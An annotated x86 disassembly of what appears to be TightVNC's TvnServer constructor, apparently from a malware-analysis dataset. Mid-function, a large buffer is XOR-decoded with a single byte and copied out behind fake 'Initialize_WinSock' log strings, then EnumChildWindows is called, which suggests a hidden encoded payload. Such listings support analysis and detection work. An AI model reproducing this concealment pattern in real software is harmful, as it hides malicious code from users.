Function at 0x413ac0
Capabilities:
Access peb ldr_data
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4b5dd2
mov eax, dword fs:[0]
push eax
push ecx
push ebx
sub esp, 0xc
mov eax, 0x19a4
call fcn.004ac330
mov eax, dword [0x4fa008]
xor eax, ebp
mov dword [ebp - 0x24], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov edi, ecx
mov dword [ebp - 0x1994], edi
mov dword [ebp - 0x1988], edi
mov eax, dword [ebx + 8]
mov ecx, 0x4fb5ac
mov byte [ebp - 0x1982], al
mov eax, dword [ebx + 0x18]
mov dword [ebp - 0x19a4], edi
mov dword [ebp - 0x198c], eax
mov dword [edi], vtable.Singleton_class_TvnServer_.0
mov eax, dword [vtable.LocalMutex.0]
mov dword [ebp - 0x1990], edi
call dword [eax + 4]
mov eax, dword [0x4feeb8]
test eax, eax
cmove eax, edi
mov dword [0x4feeb8], eax
mov dword [ebp - 4], 0
mov ecx, 0x4fb5ac
mov eax, dword [vtable.LocalMutex.0]
call dword [eax + 8]
mov dword [ebp - 4], 1
lea eax, [edi + 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
xorps xmm0, xmm0
movups xmmword [edi + 0xc], xmm0
push eax
movups xmmword [edi + 0x1c], xmm0
movq qword [edi + 0x2c], xmm0
mov dword [edi + 0x28], 0
mov dword [edi + 0x2c], 0
mov dword [edi + 0x30], 0
mov dword [edi + 0xc], vtable.LocalMutex.0
call esi
mov dword [edi + 0xc], vtable.SafeVector_class_TvnServerListener__.0
mov dword [edi + 4], vtable.ConfigReloadListener.0
mov dword [edi + 8], vtable.RfbClientManagerEventListener.0
push dword [ebx + 0x14]
lea eax, [edi + 0x34]
mov byte [ebp - 4], 4
mov ecx, eax
mov dword [edi], vtable.TvnServer.1.0
mov dword [edi + 4], vtable.TvnServer.0
mov dword [edi + 8], vtable.TvnServer.2.0
mov dword [ebp - 0x1988], eax
call fcn.00405480
lea ecx, [edi + 0x40]
mov byte [ebp - 4], 5
call fcn.0046df50
push dword [ebx + 8]
lea ecx, [edi + 0x78]
mov byte [ebp - 4], 6
call fcn.00467920
lea eax, [edi + 0x184]
mov dword [edi + method.LocalMutex.virtual_0], vtable.LocalMutex.0
push eax
call esi
mov eax, dword [ebx + 8]
mov byte [edi + 0x19c], al
mov dword [edi + method.WinServiceDesktopFactory.virtual_0], vtable.WinServiceDesktopFactory.0
mov dword [edi + method.ApplicationDesktopFactory.virtual_0], vtable.ApplicationDesktopFactory.0
mov byte [ebp - 4], 0xa
mov dword [edi + 0x1a8], 0
mov dword [edi + 0x1ac], 0
mov dword [edi + 0x1b0], 0
add edi, 0x1b4
mov dword [ebp - 0x19b4], edi
lea esi, [edi + 4]
mov dword [ebp - 0x19b4], esi
push 0
mov dword [edi], vtable.ExtraRfbServers.0
mov dword [esi], 0
mov dword [esi + 4], 0
push 0
call fcn.0040c400
mov ecx, dword [ebp - 0x1988]
mov dword [esi], eax
mov word [edi + 0xc], 0
mov dword [edi + 0x10], vtable.PortMappingContainer.0
mov dword [edi + 0x14], 0
mov dword [edi + 0x18], 0
mov dword [edi + 0x1c], 0
mov dword [edi + 0x20], ecx
mov eax, dword [ebx + 0x10]
mov byte [ebp - 4], 0xb
mov edi, dword [ebp - 0x1994]
push 0x4c4f70
push 0x4c5630
push 0x4cc6f4
push ecx
mov dword [edi + 0x1d8], eax
mov dword [edi + 0x1dc], 1
call fcn.004056b0
mov eax, dword [vtable.LocalMutex.0]
add esp, 0x10
mov ecx, 0x4fb558
call dword [eax + 4]
mov esi, dword [0x4fee84]
mov byte [ebp - 4], 0xc
mov ecx, 0x4fb558
mov eax, dword [vtable.LocalMutex.0]
call dword [eax + 8]
lea eax, [edi + 0x34]
mov byte [ebp - 4], 0xb
push str.Initialize_WinSock
push eax
call fcn.004056e0
push 0x1952
lea eax, [ebp - 0x1980]
push str.HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH_
push eax
call fcn.0049a3f0
lea eax, [edi + 0x34]
push str.Initialize_WinSock_Success
push eax
call fcn.004056e0
mov al, byte [ebp - 0x1980]
xor al, 0x90
mov byte [ebp - 0x1981], al
movsx eax, al
push str.Initialize_WinSock_Success
movd xmm0, eax
lea eax, [edi + 0x34]
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
pshufd xmm0, xmm0, 0
push eax
movaps xmmword [ebp - 0x19c0], xmm0
call fcn.004056e0
lea eax, [edi + 0x34]
push str.Initialize_WinSock_Success
push eax
call fcn.004056e0
movaps xmm2, xmmword [ebp - 0x19c0]
add esp, 0x2c
xor eax, eax
nop dword [eax + eax]
movups xmm0, xmmword [ebp + eax - 0x1980]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [ebp + eax - 0x1980], xmm1
movups xmm0, xmmword [ebp + eax - 0x1970]
movaps xmm1, xmm2
pxor xmm0, xmm2
movups xmmword [ebp + eax - 0x1970], xmm0
movups xmm0, xmmword [ebp + eax - 0x1960]
pxor xmm0, xmm2
movups xmmword [ebp + eax - 0x1960], xmm0
movups xmm0, xmmword [ebp + eax - 0x1950]
pxor xmm1, xmm0
movups xmmword [ebp + eax - 0x1950], xmm1
add eax, 0x40
cmp eax, 0x1380
jb 0x413da0
cmp eax, 0x1388
jae 0x413e21
mov dl, byte [ebp - 0x1981]
nop dword [eax]
lea ecx, [ebp - 0x1980]
xor byte [ecx + eax], dl
inc eax
cmp eax, 0x1388
jb 0x413e10
push 0x1952
lea eax, [ebp - 0x1980]
push eax
push dword [ebp - 0x198c]
call fcn.0049a3f0
lea eax, [edi + 0x34]
push str.Initialize_WinSock_finished
push eax
call fcn.004056e0
add esp, 0x14
push 0
push dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call dword [sym.imp.USER32.dll_EnumChildWindows]
mov al, byte [esi + 0xf8]
xor ecx, ecx
test al, al
mov dword [ebp - 0x1988], 0
setne cl
add ecx, reloc.WS2_32.dll_accept
mov dword [ebp - 0x198c], ecx
test al, al
je 0x413e93
mov eax, dword [esi + 0xfc]
test eax, eax
je 0x413e93
add eax, 0x40
mov dword [ebp - 0x1988], eax
mov byte [ebp - 4], 0xd
push 0x1c
mov dword [ebp - method.RegistrySettingsManager.virtual_0], vtable.RegistrySettingsManager.0
mov dword [ebp - 0x1994], 0
call fcn.004971c4
add esp, 4
mov dword [ebp - 0x19b4], eax
push dword [ebp - 0x1988]
mov ecx, eax
mov byte [ebp - 4], 0xe
push 1
push str.SoftwareTightVNCServer
push dword [ebp - 0x198c]
call fcn.0041eca0
mov dword [ebp - 0x1994], eax
lea eax, [ebp - 0x1998]
mov byte [ebp - 4], 0xf
push eax
mov ecx, esi
call fcn.00467e70
mov ecx, esi
call fcn.00467bb0
mov byte [ebp - 4], 0xb
mov ecx, dword [ebp - 0x1994]
mov dword [ebp - method.RegistrySettingsManager.virtual_0], vtable.RegistrySettingsManager.0
test ecx, ecx
je 0x413f16
mov eax, dword [ecx]
push 1
call dword [eax]
mov eax, dword [vtable.LocalMutex.0]
mov ecx, 0x4fb558
call dword [eax + 4]
mov esi, dword [0x4fee84]
mov byte [ebp - 4], 0x10
mov ecx, 0x4fb558
mov eax, dword [vtable.LocalMutex.0]
call dword [eax + 8]
lea eax, [esi + 0x2c]
mov dword [ebp - method.StringStorage.virtual_0], vtable.StringStorage.0
mov dword [edi + 0x17c], eax
mov dword [ebp - 0x199c], 0
mov dword [ebp - 0x1998], 0
mov dword [ebp - 0x1994], 0
lea eax, [ebp - 0x199c]
mov byte [ebp - 4], 0x12
push eax
push 1
mov ecx, eax
call fcn.00403cc0
mov eax, dword [ebp - 0x1998]
mov ecx, dword [ebp - 0x199c]
sub eax, ecx
sar eax, 1
add eax, eax
push eax
push 0x4cb34c
push ecx
call fcn.0049a3f0
add esp, 0xc
mov byte [ebp - 4], 0x13
mov esi, dword [edi + 0x17c]
mov ecx, esi
mov dword [ebp - method.AutoLock.virtual_0], vtable.AutoLock.0
mov dword [ebp - 0x19b4], esi
mov eax, dword [esi]
call dword [eax + 4]
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x19a0]
mov eax, dword [ebp - 0x19a0]
push dword [esi + 0xa0]
call dword [eax + 4]
mov byte [ebp - 4], 0x15
mov ecx, esi
mov eax, dword [esi]
call dword [eax + 8]
mov byte [ebp - 4], 0x13
mov esi, dword [edi + 0x17c]
mov eax, dword [esi + 0xb0]
lea ecx, [esi + 0xb0]
mov dword [ebp - 0x198c], esi
call dword [eax + 4]
mov esi, dword [esi + 0x34]
mov ecx, dword [ebp - 0x198c]
add ecx, 0xb0
mov byte [ebp - 4], 0x16
mov eax, dword [ecx]
call dword [eax + 8]
mov byte [ebp - 4], 0x13
mov ecx, dword [edi + 0x1d8]
push esi
push 0x4c54b8
push dword [ebp - 0x199c]
mov eax, dword [ecx]
call dword [eax]
lea ecx, [ebp - 0x199c]
mov dword [ebp - method.StringStorage.virtual_0], vtable.StringStorage.0
call fcn.00403b90
mov dword [ebp - 4], 0xb
jmp 0x41406d
mov byte [ebp - 4], 0x18
call fcn.00454a60
mov dword [ebp - 4], 0xb
jmp 0x4140b8
push 0xe4
call fcn.004971c4
mov edx, eax
add esp, 4
mov dword [ebp - 0x19b4], edx
movzx ecx, byte [ebp - 0x1982]
xor ecx, 1
mov byte [ebp - 4], 0x1a
mov eax, dword [ebp - 0x1990]
lea eax, [eax + ecx*4]
add eax, 0x1a0
push eax
lea eax, [edi + 0x34]
push eax
push dword [ebx + 0xc]
push ecx
mov ecx, edx
call fcn.00416cf0
mov byte [ebp - 4], 0xb
lea ecx, [edi + 8]
mov dword [edi + 0x1a8], eax
mov dword [ebp - 0x1990], ecx
lea esi, [eax + 0x14]
mov dword [ebp - method.AutoLock.virtual_0], vtable.AutoLock.0
mov eax, dword [esi]
mov ecx, esi
mov dword [ebp - 0x19b4], esi
call dword [eax + 4]
lea edx, [esi + 0x1c]
mov byte [ebp - 4], 0x1b
mov eax, dword [edx]
mov ecx, dword [edx + 4]
cmp eax, ecx
je 0x41414a
lea edx, [edi + 8]
cmp dword [eax], edx
lea edx, [esi + 0x1c]
je 0x41415a
add eax, 4
cmp eax, ecx
jne 0x414136
mov ecx, dword [edx + 4]
cmp dword [edx + 8], ecx
je 0x414160
lea eax, [edi + 8]
mov dword [ecx], eax
add dword [edx + 4], 4
jmp 0x41416f
mov byte [ebp - 4], 0x1c
jmp 0x414173
lea eax, [ebp - 0x1990]
push eax
push ecx
mov ecx, edx
call fcn.00411130
mov byte [ebp - 4], 0x1d
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 8]
mov byte [ebp - 4], 0xb
lea eax, [edi + 4]
mov dword [ebp - 0x1990], eax
mov ecx, 0x4fb558
mov eax, dword [vtable.LocalMutex.0]
call dword [eax + 4]
mov esi, dword [0x4fee84]
mov byte [ebp - 4], 0x1e
mov ecx, 0x4fb558
mov eax, dword [vtable.LocalMutex.0]
call dword [eax + 8]
add esi, 4
mov byte [ebp - 4], 0xb
mov ecx, esi
mov dword [ebp - method.AutoLock.virtual_0], vtable.AutoLock.0
mov dword [ebp - 0x19b4], esi
mov eax, dword [esi]
call dword [eax + 4]
lea edx, [esi + 0x1c]
mov byte [ebp - 4], 0x1f
mov eax, dword [edx]
mov ecx, dword [edx + 4]
cmp eax, ecx
je 0x4141f4
nop dword [eax]
lea edx, [edi + 4]
cmp dword [eax], edx
lea edx, [esi + 0x1c]
je 0x414204
add eax, 4
cmp eax, ecx
jne 0x4141e0
mov ecx, dword [edx + 4]
cmp dword [edx + 8], ecx
je 0x41420a
lea eax, [edi + 4]
mov dword [ecx], eax
add dword [edx + 4], 4
jmp 0x414219
mov byte [ebp - 4], 0x20
jmp 0x41421d
lea eax, [ebp - 0x1990]
push eax
push ecx
mov ecx, edx
call fcn.00411130
mov byte [ebp - 4], 0x21
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 8]
mov byte [ebp - 4], 0xb
lea esi, [edi + 0x180]
mov eax, dword [esi]
mov ecx, esi
mov dword [ebp - method.AutoLock.virtual_0], vtable.AutoLock.0
mov dword [ebp - 0x19b4], esi
call dword [eax + 4]
mov ecx, edi
mov byte [ebp - 4], 0x22
call fcn.004152c0
push dword [edi + 0x1a8]
movzx eax, byte [edi + 0x19c]
lea ecx, [edi + 0x1b4]
push eax
call fcn.00416200
mov ecx, edi
call fcn.00415030
mov byte [ebp - 4], 0x23
mov ecx, esi
mov edx, dword [esi]
call dword [edx + 8]
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x24]
xor ecx, ebp
call fcn.00496cab
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 0x14